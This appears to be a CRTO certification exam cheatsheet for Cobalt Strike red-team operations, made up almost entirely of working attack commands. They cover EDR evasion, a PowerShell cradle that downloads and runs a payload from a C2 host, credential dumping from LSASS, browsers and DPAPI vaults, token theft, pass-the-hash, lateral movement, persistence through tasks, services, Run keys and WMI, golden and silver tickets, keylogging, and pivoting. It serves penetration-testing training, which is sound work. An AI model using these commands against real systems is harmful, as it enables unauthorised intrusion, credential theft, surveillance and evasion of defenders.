CRTO
Red Team Ops 4 Hour Exam 85/100 Required

CRTO Exam Cheatsheet

Cobalt Strike operations from initial access to domain dominance

Cobalt Strike Primary Tool
OPSEC First Mindset
Unlimited Attempts

Initial OPSEC Setup (CRITICAL FIRST!)

⚠️ DO THIS IMMEDIATELY AFTER GETTING A BEACON

These three commands must be executed BEFORE any enumeration or actions. They determine how your beacon spawns processes and how stealthy your operations will be.

The Three Critical Commands

Session OPSEC Setup (Always Run First!)
# 1. Configure spawn-to process (what process gets spawned for jobs) # Default is rundll32.exe - CHANGE THIS! spawnto x64 %windir%\sysnative\dllhost.exe spawnto x86 %windir%\syswow64\dllhost.exe # 2. Set parent PID (what process "parents" your spawned processes) # Find a legitimate long-running process first ps ppid [explorer.exe PID] # 3. Block non-Microsoft DLLs from being loaded (prevents EDR hooks) blockdlls start # Verify your settings spawnto ppid

Why These Commands Matter

  • • spawnto - Every execute-assembly, powerpick, etc. spawns this process. Default rundll32.exe looks suspicious.
  • • ppid - Makes spawned processes appear as children of legitimate processes like explorer.exe instead of orphaned.
  • • blockdlls - Prevents EDR from injecting hooks into your spawned processes. Critical for evasion.

Good spawn-to Candidates

Legitimate Windows Processes
dllhost.exe ✓ Best choice
gpupdate.exe ✓ Good
WerFault.exe ✓ Good
svchost.exe ⚠ Use carefully
rundll32.exe ✗ Default (bad)

⚠️ Remember: Configure Then Sleep

After setting spawnto/ppid/blockdlls, THEN set your sleep and jitter. Always in this order: OPSEC setup → Sleep configuration → Start enumeration.

Beacon Basics & Configuration

OPSEC Reminder

Always configure sleep and jitter before running enumeration. Default beacon behavior (no sleep) is loud and easily detected.

Essential Beacon Commands

Basic Beacon Management
# Configure sleep (seconds) and jitter (%) sleep 30 20 # View current beacon info info # Check beacon integrity checkin # Change working directory cd C:\Windows\Temp # Show current directory pwd # List running jobs jobs # Kill a job jobkill [jid] # Clear job queue clear # Exit beacon (interactive only - BE CAREFUL) exit
Process & Session Management
# List running processes (OPSEC: creates process snapshot) ps # Set parent process for spawning (OPSEC critical!) ppid [pid] # Set spawn-to process (x86 and x64) spawnto x64 C:\Windows\System32\rundll32.exe spawnto x86 C:\Windows\SysWOW64\rundll32.exe # Inject into specific process inject [pid] [x64|x86] [listener] # Spawn new beacon spawn [x64|x86] [listener] # Run command via cmd.exe (OPSEC: spawns cmd.exe!) shell [command] # Run command via Beacon (preferred - no cmd.exe spawn) run [command] # Execute via PowerShell (OPSEC: spawns powershell.exe!) powershell [command] # Execute PowerShell without spawning powershell.exe powerpick [command] # Run .NET executable in memory (no disk write) execute-assembly C:\Tools\Rubeus.exe kerberoast

⚠️ OPSEC Warning: shell vs run vs execute-assembly

  • • shell - Spawns cmd.exe (loud, creates IOC)
  • • run - Executes directly via Windows API (better)
  • • execute-assembly - Loads .NET in memory (best for tools like Rubeus, Seatbelt)
  • • powershell - Spawns powershell.exe (very loud)
  • • powerpick/psinject - PowerShell without spawning process (much better)

File Operations

File System Commands
# List directory ls ls C:\Users\Administrator # Download file from target download C:\Users\Administrator\Desktop\flag.txt # Upload file to target upload /path/to/local/file.exe C:\Windows\Temp\file.exe # Make directory mkdir C:\Temp\staging # Remove file rm C:\Temp\artifact.exe # Copy file cp C:\source.txt C:\dest.txt # Move/rename file mv C:\old.txt C:\new.txt

C2 Infrastructure & Listeners

Listener Configuration

Exam Tip: Multiple Listeners

Always have HTTP/HTTPS for initial access, SMB for internal pivoting, and DNS for backup C2 channels. Each listener type has different OPSEC considerations.

Listener Types & Use Cases
# HTTP/HTTPS Listener - Primary egress channels # Best for: Initial access, external callbacks # OPSEC: Configure User-Agent, headers, URIs in malleable profile # SMB Listener - Named pipe communication # Best for: Internal pivoting, lateral movement without egress # OPSEC: Stays local, no network traffic, requires SMB access # Default pipe: \\.\pipe\msagent_## # DNS Listener - DNS-based C2 # Best for: Restricted networks, backup channel # OPSEC: Slow but stealthy, bypasses HTTP restrictions # TCP Listener - Direct TCP connections # Best for: Specific scenarios, bind shells # OPSEC: Less common, can be useful for specialized payloads

Payload Generation & Delivery

Creating Payloads (via GUI: Attacks → Packages)
# Payload types available in Cobalt Strike: # 1. Windows Executable - Standard EXE/DLL # Attacks → Packages → Windows Executable # Choose listener, output type (EXE, DLL, Service EXE) # 2. PowerShell - Cradle for in-memory execution # Attacks → Packages → PowerShell Command # Use with execute-assembly for OPSEC # 3. HTML Application - HTA payload # Attacks → Packages → HTML Application # 4. MS Office Macro - VBA macro payload # Attacks → Packages → MS Office Macro # 5. Scripted Web Delivery (PowerShell) # Attacks → Web Drive-by → Scripted Web Delivery # Example: One-liner PowerShell cradle (from web delivery) powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.50:80/a'))"

⚠️ Common Payload OPSEC Failures

  • • Using default artifact kit (always customize with Arsenal Kit)
  • • Not obfuscating PowerShell cradles (use encoding, obfuscation)
  • • Reusing payloads across targets (regenerate for each target)
  • • Visible staging URLs (use malleable C2 profiles)
  • • Forgetting to set proper User-Agent strings

Enumeration & Reconnaissance

System Information

Basic System Enumeration
# Get system information run hostname run whoami run whoami /all getuid # View network configuration run ipconfig /all run route print run arp -a # Check domain membership run systeminfo run wmic computersystem get domain # List local users and groups run net user run net localgroup administrators run net user username /domain # Check current privileges run whoami /priv

Active Directory Enumeration

Domain Enumeration Commands
# Get domain info run net group /domain run net group "Domain Admins" /domain run net group "Enterprise Admins" /domain # Get domain controllers run nltest /dclist:domain.local run net group "Domain Controllers" /domain # Get domain trusts run nltest /domain_trusts # List domain computers run net view /domain run net view /domain:domain.local # Query domain accounts run net accounts /domain

ADSearch (Preferred Over PowerView)

Why ADSearch Over PowerView?

ADSearch is a .NET tool that performs LDAP queries without PowerShell dependencies. It's quieter, faster, and doesn't require importing scripts. Use execute-assembly for best OPSEC.

ADSearch - LDAP Queries via execute-assembly
# Enumerate all users execute-assembly C:\Tools\ADSearch.exe --search "(objectCategory=user)" --attributes samaccountname,description # Find users with SPN (Kerberoastable) execute-assembly C:\Tools\ADSearch.exe --search "(&(objectCategory=user)(servicePrincipalName=*))" # Find users without Kerberos preauth (AS-REP roastable) execute-assembly C:\Tools\ADSearch.exe --search "(&(objectCategory=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" # Enumerate computers execute-assembly C:\Tools\ADSearch.exe --search "(objectCategory=computer)" --attributes samaccountname,operatingsystem,dnshostname # Find Domain Controllers execute-assembly C:\Tools\ADSearch.exe --search "(userAccountControl:1.2.840.113556.1.4.803:=8192)" # Enumerate groups execute-assembly C:\Tools\ADSearch.exe --search "(objectCategory=group)" --attributes samaccountname # Get Domain Admins members execute-assembly C:\Tools\ADSearch.exe --search "(&(objectCategory=group)(cn=Domain Admins))" --attributes member # Find unconstrained delegation execute-assembly C:\Tools\ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" # Find constrained delegation execute-assembly C:\Tools\ADSearch.exe --search "(&(objectCategory=computer)(msds-allowedtodelegateto=*))" --attributes samaccountname,msds-allowedtodelegateto
PowerView (via powerpick) - Alternative
# Import PowerView (OPSEC: use powerpick, not powershell) powershell-import C:\Tools\PowerView.ps1 # Get domain info powerpick Get-Domain powerpick Get-DomainController # Enumerate users powerpick Get-DomainUser powerpick Get-DomainUser -Identity administrator -Properties * # Enumerate groups powerpick Get-DomainGroup powerpick Get-DomainGroupMember -Identity "Domain Admins" # Find domain shares powerpick Invoke-ShareFinder powerpick Invoke-FileFinder # Find domain admin sessions powerpick Invoke-UserHunter # Get domain computers powerpick Get-DomainComputer powerpick Get-DomainComputer -OperatingSystem "*Server 2019*"
SharpHound for BloodHound (OPSEC-Safe)
# Run SharpHound via execute-assembly (best OPSEC) execute-assembly C:\Tools\SharpHound.exe -c All # Specific collection methods execute-assembly C:\Tools\SharpHound.exe -c DCOnly execute-assembly C:\Tools\SharpHound.exe -c Session,LoggedOn # Specify domain execute-assembly C:\Tools\SharpHound.exe -c All -d domain.local # Download the ZIP file download C:\Users\Public\*.zip

CRTO Exam Strategy: Enumeration Priority

  1. 1. Check whoami, hostname, ipconfig - know where you are
  2. 2. Run SharpHound immediately - analyze offline in BloodHound
  3. 3. Check for local admin on other machines (spray credentials)
  4. 4. Identify high-value targets: Domain Admins, path to DA
  5. 5. Look for Kerberoastable accounts and AS-REP roasting opportunities

Credential Access & Harvesting

CRTO Priority: Low-Hanging Fruit First

Before dumping LSASS (loud!), check browser credentials and Windows Vault. These often contain domain admin credentials and require only medium integrity. DPAPI-based extraction is far quieter than LSASS dumping.

Credential Storage Overview

Where Credentials Live
Source Integrity Reusable? OPSEC
Browser creds Medium ✅ Yes 🟢 Very quiet
Windows Vault Medium ✅ Yes 🟢 Quiet
Kerberos tickets High ✅ Yes 🟢 Quiet
Cached creds SYSTEM ❌ Crack only 🟡 Medium
LSASS SYSTEM ✅ Yes 🔴 Loud

Browser Credentials (SharpChrome)

Extract Chrome/Edge Saved Passwords
# Extract Chrome saved passwords (uses DPAPI to decrypt) execute-assembly C:\Tools\SharpChrome.exe logins # Extract cookies (useful for session hijacking) execute-assembly C:\Tools\SharpChrome.exe cookies # Works for Chrome, Edge, Brave (all Chromium-based) # Typical location: %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data # OPSEC: Only reads SQLite file, very quiet

Windows Credential Manager / Vault

Extract Windows Vault Credentials
# List vault credentials (no decryption) run vaultcmd /listcreds:"Windows Credentials" /all # Decrypt credentials using SharpDPAPI execute-assembly C:\Tools\SharpDPAPI.exe credentials /rpc # Extract vault credentials execute-assembly C:\Tools\SharpDPAPI.exe vaults /rpc # Extract WiFi passwords execute-assembly C:\Tools\SharpDPAPI.exe wifi # /rpc flag uses MS-BKRP to decrypt via DC # Contains: RDP creds, mapped drives, Wi-Fi, generic app creds

Why Windows Vault Matters

Users save RDP credentials here when checking "Remember my credentials". You'll often find saved domain admin RDP sessions to servers. This is gold for lateral movement and requires only medium integrity.

SAM Database (Local Account Hashes)

Dump SAM Hashes
# Dump SAM database (requires SYSTEM or admin) hashdump # Or use mimikatz mimikatz !lsadump::sam # Example output: # RID : 000001f4 (500) # User : Administrator # Hash NTLM: fc525c9683e8fe067095ba2ddc971889 # Use cases: # - Pass-the-hash with local admin accounts # - Crack offline (hashcat -m 1000) # - Check for password reuse across machines

LSA Secrets

Extract LSA Secrets
# Dump LSA Secrets (service accounts, machine account, etc.) mimikatz !lsadump::secrets # Contains: # - Service account passwords # - Machine account password ($MACHINE.ACC) # - Scheduled task credentials # - DPAPI system keys # Stored in: HKLM\Security\Policy\Secrets # Encrypted but key is in HKLM\Security\Policy

Cached Domain Credentials

Extract Cached Domain Creds
# Dump cached domain credentials (MS-Cache v2 hashes) mimikatz !lsadump::cache # Example output: # User: HACKME\sid # MsCacheV2: 3566ba05cfe9d5314144ebef07289cdc # IMPORTANT: Cannot pass-the-hash with these! # Must crack offline (very slow): # hashcat -m 2100 cached.hash rockyou.txt # Default: 10 cached logons stored # Used for offline domain logon when DC unreachable

LSASS Memory (The Loud Way)

Dump LSASS Credentials
# Dump logon passwords from LSASS (requires SYSTEM) mimikatz sekurlsa::logonpasswords # Dump Kerberos encryption keys (AES256, AES128, RC4) mimikatz sekurlsa::ekeys # Dump Kerberos tickets mimikatz sekurlsa::tickets # Dump NTLM hashes only mimikatz sekurlsa::msv # Alternative: SharpKatz (execute-assembly) execute-assembly C:\Tools\SharpKatz.exe --Command logonpasswords

⚠️ LSASS Dumping OPSEC Warning

  • • Triggers Sysmon Event ID 10 (process access)
  • • Most EDR solutions alert on LSASS access
  • • Use as LAST RESORT after checking browser/vault/tickets
  • • Consider using ticket-based attacks instead (quieter)

CRTO Exam Strategy: Credential Theft Priority

  1. 1. Browser credentials (SharpChrome) - Medium integrity, very quiet
  2. 2. Windows Vault (SharpDPAPI) - Often contains RDP to servers
  3. 3. Kerberos tickets (Rubeus dump/triage) - Reusable without cracking
  4. 4. SAM hashes - Local admin password reuse across machines
  5. 5. LSASS - Only if above methods fail (LOUD!)

Lateral Movement Techniques

⚠️ OPSEC: Lateral Movement Methods

Different methods have different OPSEC profiles. Remote exec methods (psexec) are loud. Use WMI/WinRM when possible. Always link SMB beacons instead of spawning new HTTP callbacks from internal hosts.

Priority #1: SCShell64 BOF

SCShell64 is a Beacon Object File (BOF) that performs service-based lateral movement with better OPSEC than traditional psexec. It executes directly in beacon memory with no process spawn. Use this as your primary lateral movement method when available.

SCShell64 BOF (Priority #1)

SCShell64 - Service-Based Lateral Movement
# SCShell64 BOF - Best OPSEC for service-based lateral movement # Syntax: jump scshell64 [target] [listener] jump scshell64 dc01.domain.local smb # Why SCShell64 is better: # - Runs as BOF (in beacon memory, no process spawn) # - Creates temporary service for execution # - Auto-cleans up service after execution # - Better OPSEC than traditional psexec # Requires: Admin on target, SMB/RPC access

Built-in Jump Methods

Beacon Jump Commands
# PSExec - Service-based lateral movement (creates service) jump psexec target.domain.local smb # PSExec64 - 64-bit version jump psexec64 target.domain.local smb # PSExec_PSH - PowerShell-based jump psexec_psh target.domain.local smb # WMI - Windows Management Instrumentation (quieter) jump winrm target.domain.local smb jump winrm64 target.domain.local smb # List available jump methods jump
Remote-exec Methods
# Remote-exec via PSExec remote-exec psexec target.domain.local whoami # Remote-exec via WMI (better OPSEC) remote-exec wmi target.domain.local whoami # Remote-exec via WinRM remote-exec winrm target.domain.local whoami # List available remote-exec methods remote-exec

SMB Beacons & Linking

Why SMB Beacons?

SMB beacons communicate over named pipes (no network egress). Link them to your existing beacon instead of having internal hosts beacon out directly. This is more stealthy and follows proper red team OPSEC.

Working with SMB Beacons
# Jump to target with SMB listener (spawns beacon, auto-links) jump psexec64 dc01.domain.local smb # Manually link to existing SMB beacon link target.domain.local link target.domain.local pipename # List linked beacons link # Connect to existing beacon (if you know pipe name) connect target.domain.local pipename # Unlink SMB beacon (doesn't kill it, just disconnects) unlink target.domain.local # Important: Interact with linked beacon via main beacon # All commands to linked beacon go through parent

⚠️ Exam Tip: Link vs Connect

  • • link - Connect to child beacon that you spawned (normal workflow)
  • • connect - Connect to beacon someone else spawned or reconnect to existing
  • • Always use SMB listeners for internal lateral movement
  • • HTTP/HTTPS beacons from internal hosts = bad OPSEC (multiple egress points)

Credential-Based Movement & Token Impersonation

make_token vs steal_token: Critical Differences
Technique How Obtained Local Actions Network Actions Integrity Needed
make_token Plaintext creds ❌ No ✅ Yes ❌ Medium
steal_token Process token ✅ Yes ✅ Yes ✅ High

Key: make_token creates "netonly" logon (network auth only). steal_token duplicates real token (full access local + network).

make_token - Network-Only Authentication
# Create netonly logon token (network authentication only) make_token DOMAIN\user password # Verify token (network actions only!) run net user username /domain # What works with make_token: # ✅ Accessing SMB shares # ✅ LDAP queries # ✅ WinRM / HTTP services # ❌ Local file access as that user # ❌ Injecting into their processes # Revert to original token rev2self # When to use: You have plaintext creds, need network auth
steal_token - Full Token Duplication
# Find target process ps # Steal token from running process (requires high integrity) steal_token [pid] # Example: Steal domain admin token ps # Find explorer.exe or cmd.exe running as DA steal_token 1234 run whoami # Should show DA account # What works with steal_token: # ✅ Local file access # ✅ Network access # ✅ Inject into user's processes # ✅ Full user context locally and remotely # Revert to original token rev2self # When to use: Target user has active process, need full access

Token Store (Persistent Token Handling)

Why Use Token Store?

Stolen tokens are lost if the source process exits. Token store keeps a copy for later reuse. Essential for maintaining access when processes are short-lived or may terminate.

Token Store Commands
# Steal token and store it (for later reuse) token-store steal [pid] # List stored tokens token-store show # Example output: # ID PID User # 0 5247 DOMAIN\adminsid # 1 3891 DOMAIN\sqlservice # Use stored token by ID token-store use 0 # Verify you're using the token run whoami # Remove token from store (cleanup) token-store remove 0 # Clear all stored tokens token-store remove-all
Pass-the-Hash (PTH) with Mimikatz
# Pass-the-Hash with Mimikatz sekurlsa::pth mimikatz sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:aad3b435b51404eeaad3b435b51404ee /run:"powershell -w hidden" # OPSEC WARNING: PTH with sekurlsa::pth is LOUD! # - Opens LSASS with write access # - Patches MSV1_0 credential structure # - EDR will likely detect this # Better alternative: Use make_token with plaintext password # Or: Use Kerberos tickets (Pass-the-Ticket) instead
Other Token Commands
# Spawn beacon with specific credentials spawnas DOMAIN\user password listener # Get current user context getuid # Check privileges run whoami /priv

⚠️ Token Lifetime Problem

If you steal_token from a process and that process exits, your token becomes invalid. Always use token-store for important tokens to maintain access even if the source process dies.

Persistence Mechanisms

⚠️ CRTO Exam: Persistence Requirements

The exam may require you to establish and demonstrate persistence. Document your persistence method clearly in your report with screenshots showing the persistence survives a reboot or session termination.

Common Persistence Techniques

Scheduled Task Persistence
# Create scheduled task (via beacon) run schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\beacon.exe" /sc onlogon /ru System # Verify task created run schtasks /query /tn "WindowsUpdate" # Run task immediately run schtasks /run /tn "WindowsUpdate" # Delete task (cleanup) run schtasks /delete /tn "WindowsUpdate" /f
Service Persistence
# Create Windows service run sc create WindowsDefender binpath= "C:\Windows\Temp\beacon.exe" start= auto # Start service run sc start WindowsDefender # Query service status run sc query WindowsDefender # Delete service (cleanup) run sc delete WindowsDefender
Registry Run Key Persistence
# Add to user Run key (runs at user login) run reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /t REG_SZ /d "C:\Windows\Temp\beacon.exe" /f # Add to system Run key (requires admin) run reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsDefender /t REG_SZ /d "C:\Windows\Temp\beacon.exe" /f # Query registry key run reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" # Delete registry key (cleanup) run reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v WindowsUpdate /f
WMI Event Subscription (PowerShell)
# Create WMI event filter (runs every 60 seconds) powerpick $Filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name="WindowsUpdate"; EventNamespace="root\cimv2"; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"} # Create WMI event consumer (executes payload) powerpick $Consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{Name="WindowsUpdate"; CommandLineTemplate="C:\Windows\Temp\beacon.exe"} # Bind filter to consumer powerpick Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter; Consumer=$Consumer} # List WMI persistence powerpick Get-WmiObject -Namespace root\subscription -Class __EventFilter powerpick Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer powerpick Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding

Domain Persistence (Golden/Silver Tickets)

Golden Ticket (Requires krbtgt Hash)
# Create golden ticket with Mimikatz mimikatz kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:[NTLM] /ptt # Create golden ticket with Rubeus (save to file) execute-assembly C:\Tools\Rubeus.exe golden /rc4:[krbtgt_NTLM] /domain:domain.local /sid:S-1-5-21-... /user:Administrator /nowrap # Pass the ticket execute-assembly C:\Tools\Rubeus.exe ptt /ticket:[base64_ticket] # Verify ticket run klist
Silver Ticket (Requires Service Account Hash)
# Create silver ticket for CIFS service mimikatz kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /target:dc01.domain.local /service:cifs /rc4:[computer_NTLM] /ptt # Silver ticket with Rubeus execute-assembly C:\Tools\Rubeus.exe silver /service:cifs/dc01.domain.local /rc4:[computer_NTLM] /sid:S-1-5-21-... /ldap /user:Administrator /domain:domain.local /ptt

Exam Note: Document Persistence

Take screenshots of: (1) Creating persistence mechanism, (2) Verifying it exists, (3) Triggering it (reboot/re-login), (4) Receiving callback. Clear documentation of working persistence is critical for exam scoring.

OPSEC & Evasion Techniques

🚨 OPSEC Golden Rules

  • • Never use shell command - it spawns cmd.exe (use run)
  • • Never use powershell command - spawns powershell.exe (use powerpick)
  • • Always set sleep and jitter before enumeration
  • • Always set proper PPID before spawning processes
  • • Always use SMB beacons for internal pivoting (not HTTP)
  • • Prefer execute-assembly over shell execution

Commands to NEVER Use in CRTO Exam

Dangerous Commands (Auto-Fail OPSEC)
❌ BAD Command Why It's Bad ✅ Use Instead
shell Spawns cmd.exe run
powershell Spawns powershell.exe powerpick
psinject Injects into process powerpick (safer)
spawn (HTTP) Egress from internal spawn (SMB) + link
getsystem Named pipe impersonation Token theft, exploit
desktop Opens VNC connection screenshot
printscreen Creates files on disk screenshot

OPSEC-Safe Execution

Process Injection & Spawning OPSEC
# ALWAYS set parent process before spawning ps # Find a legitimate long-running process (explorer.exe, svchost.exe) ppid [explorer.exe_pid] # Configure spawn-to process (default is rundll32 - customize this!) spawnto x64 C:\Windows\System32\dllhost.exe spawnto x86 C:\Windows\SysWOW64\dllhost.exe # Good spawn-to candidates (blend in): # - C:\Windows\System32\dllhost.exe # - C:\Windows\System32\WerFault.exe # - C:\Windows\System32\gpupdate.exe # - C:\Windows\System32\svchost.exe (careful with arguments) # Verify your spawnto settings spawnto
OPSEC-Safe Command Alternatives
# ❌ BAD: shell whoami (spawns cmd.exe) # ✅ GOOD: run whoami (direct API call) run whoami # ❌ BAD: powershell Get-Process (spawns powershell.exe) # ✅ GOOD: powerpick Get-Process (in-memory execution) powerpick Get-Process # ❌ BAD: shell mimikatz.exe (writes to disk, spawns process) # ✅ GOOD: mimikatz [command] (inline Mimikatz execution) mimikatz sekurlsa::logonpasswords # ❌ BAD: upload and execute EXE # ✅ GOOD: execute-assembly for .NET tools execute-assembly C:\Tools\Rubeus.exe kerberoast # ❌ BAD: Multiple HTTP beacons from internal hosts # ✅ GOOD: SMB beacons linked to your main beacon jump psexec64 target.domain.local smb

Bypassing Defenses

Checking for EDR/AV
# Check running processes for security products ps # Look for: MsMpEng (Defender), cb.exe (Carbon Black), CylanceSvc, etc. # Check services run sc query | findstr /i "defender av edr cylance carbon" # Windows Defender status run powershell Get-MpComputerStatus # Check Defender exclusions run powershell Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
Inline Execution (BOFs - Beacon Object Files)
# BOFs execute directly in beacon's memory (best OPSEC) # No process spawn, no DLL load, minimal footprint # Load inline-execute Aggressor script (if available) # Example BOF commands (course provides these): # Inline-execute common commands # These run as BOFs instead of spawning processes # Note: CRTO course provides custom BOFs # Study the provided BOF examples in course material
Mimikatz OPSEC
# Standard mimikatz (inline - runs in beacon process) mimikatz sekurlsa::logonpasswords # If inline fails, try spawning temporary process # Set proper PPID first! ppid [explorer_pid] spawnas DOMAIN\user password listener # Alternative: Use SharpKatz via execute-assembly execute-assembly C:\Tools\SharpKatz.exe --Command logonpasswords # Dump credentials without running mimikatz # Use built-in beacon commands hashdump # Dump SAM (local accounts) logonpasswords # If mimikatz is loaded inline

CRTO Exam: OPSEC Checklist

  • ✓ Sleep configured (30-60s) with 20% jitter
  • ✓ PPID set before spawning any process
  • ✓ Spawnto configured to legitimate process
  • ✓ Using powerpick instead of powershell
  • ✓ Using run instead of shell
  • ✓ Using execute-assembly for .NET tools
  • ✓ SMB beacons for lateral movement
  • ✓ Cleaning up artifacts (files, registry, services)

Pivoting & SOCKS Proxy

SOCKS Proxy Setup

Establishing SOCKS Proxy
# Start SOCKS proxy on Cobalt Strike team server socks 1080 # Stop SOCKS proxy socks stop # List active SOCKS proxies socks # On attacker machine, configure proxychains # Edit /etc/proxychains4.conf: # [ProxyList] # socks4 127.0.0.1 1080 # Use proxychains to route traffic through beacon # proxychains nmap -sT -Pn 10.10.20.0/24 # proxychains psexec.py DOMAIN/user:password@10.10.20.100

⚠️ SOCKS Proxy Notes

  • • SOCKS proxy routes traffic THROUGH your beacon - beacon must have network access
  • • Use SOCKS4 (not SOCKS5) with Cobalt Strike
  • • Slow for intensive scanning - use sparingly
  • • Best for targeted actions: credential spraying, specific service access, running tools
  • • Remember: All traffic goes through beacon = bandwidth and OPSEC consideration

Port Forwarding

Reverse Port Forward (rportfwd)
# Reverse port forward - expose internal service to your team server # Syntax: rportfwd [bind port on team server] [forward to IP] [forward to port] # Example: Forward internal RDP (10.10.20.100:3389) to team server port 8888 rportfwd 8888 10.10.20.100 3389 # Now connect to team server: rdesktop 127.0.0.1:8888 # List active port forwards rportfwd # Stop specific port forward rportfwd stop 8888
Covertvpn (Full Network Pivoting)
# Covertvpn - Deploy VPN through beacon (requires admin on beacon host) # Creates full layer-3 VPN tunnel # Deploy covertvpn covertvpn 10.10.5.0 255.255.255.0 10.10.5.1 # Attacker machine will get new interface with IP in that subnet # Now you can directly access internal network as if you're on it # Stop covertvpn covertvpn stop

Pivoting Strategy for Exam

  1. 1. SOCKS proxy - General purpose, works for most tools (nmap, crackmapexec, Impacket)
  2. 2. rportfwd - Expose specific internal services (RDP, SMB, HTTP) to your attack box
  3. 3. SMB beacons + link - Best for maintaining access across network segments without exposing more C2 traffic
  4. 4. covertvpn - When you need full network access (requires admin rights)

Post-Exploitation & Data Collection

Credential Harvesting

Dumping Credentials
# Dump SAM database (local account hashes - requires admin) hashdump # Dump logon passwords from LSASS (mimikatz inline) mimikatz sekurlsa::logonpasswords # Dump all credentials mimikatz sekurlsa::credman # Dump NTLM hashes from memory mimikatz sekurlsa::msv # Dump Kerberos tickets mimikatz sekurlsa::tickets # List cached credentials mimikatz sekurlsa::dpapi # Dump credentials from Windows Vault mimikatz vault::cred /patch

Surveillance & Monitoring

Screenshots & Keylogging
# Take screenshot screenshot # Take screenshot of specific PID screenshot [pid] # Start keylogger keylogger [pid] # Stop keylogger on specific job jobkill [jid] # Screenshot desktop of another user (inject into their process first) ps # Find process owned by target user inject [pid] x64 [listener] screenshot
Clipboard & Browser Data
# Monitor clipboard (if BOF available) # Course may provide BOF for clipboard monitoring # Extract Chrome passwords (SharpChrome via execute-assembly) execute-assembly C:\Tools\SharpChrome.exe logins /unprotect # Extract Chrome cookies execute-assembly C:\Tools\SharpChrome.exe cookies /unprotect # Seatbelt - comprehensive host enumeration execute-assembly C:\Tools\Seatbelt.exe -group=all # Specific Seatbelt modules execute-assembly C:\Tools\Seatbelt.exe DpapiMasterKeys execute-assembly C:\Tools\Seatbelt.exe CredEnum

File & Data Discovery

Searching for Sensitive Files
# Search for files recursively run dir /s /b C:\Users\ | findstr /i "password pass credential secret key config" # Find interesting file extensions run dir /s /b C:\Users\ | findstr /i ".kdbx .sql .mdf .bak .config .xml" # PowerShell file search (via powerpick) powerpick Get-ChildItem -Path C:\Users\ -Include *password*,*cred*,*vnc*,*.config -Recurse -ErrorAction SilentlyContinue # Search file contents powerpick Select-String -Path C:\Users\*\*.txt,*.xml,*.ini,*.config -Pattern "password|cred|api_key" -ErrorAction SilentlyContinue
Network Share Enumeration
# List network shares run net view \\dc01.domain.local # Access share ls \\dc01.domain.local\SYSVOL # Find shares with PowerView powerpick Invoke-ShareFinder -CheckShareAccess # Find interesting files on shares powerpick Invoke-FileFinder -ShareList shares.txt

⚠️ Exam Objectives - Document Everything

  • • Take screenshots of every flag you find
  • • Screenshot credential dumps showing domain admin credentials
  • • Screenshot BloodHound showing attack path to DA
  • • Screenshot persistence mechanism (before and after reboot/callback)
  • • Document each host you compromise (hostname, IP, user context)
  • • Keep a running timeline of actions taken

CRTO Exam Day Checklist

Exam Flow (CRTO Priority Order):

  1. 1. Get initial beacon → IMMEDIATELY: spawnto, ppid, blockdlls
  2. 2. Configure sleep/jitter (30-60s, 20% jitter)
  3. 3. Run SharpHound → Import to BloodHound offline
  4. 4. Check browser creds (SharpChrome) + Windows Vault (SharpDPAPI)
  5. 5. Token theft → Look for DA processes, use token-store
  6. 6. Lateral movement → SCShell64 BOF or WMI (link SMB beacons)
  7. 7. Kerberoasting / AS-REP roasting if needed
  8. 8. Establish persistence → Document with screenshots
  9. 9. Write flag to final file server → Screenshot proof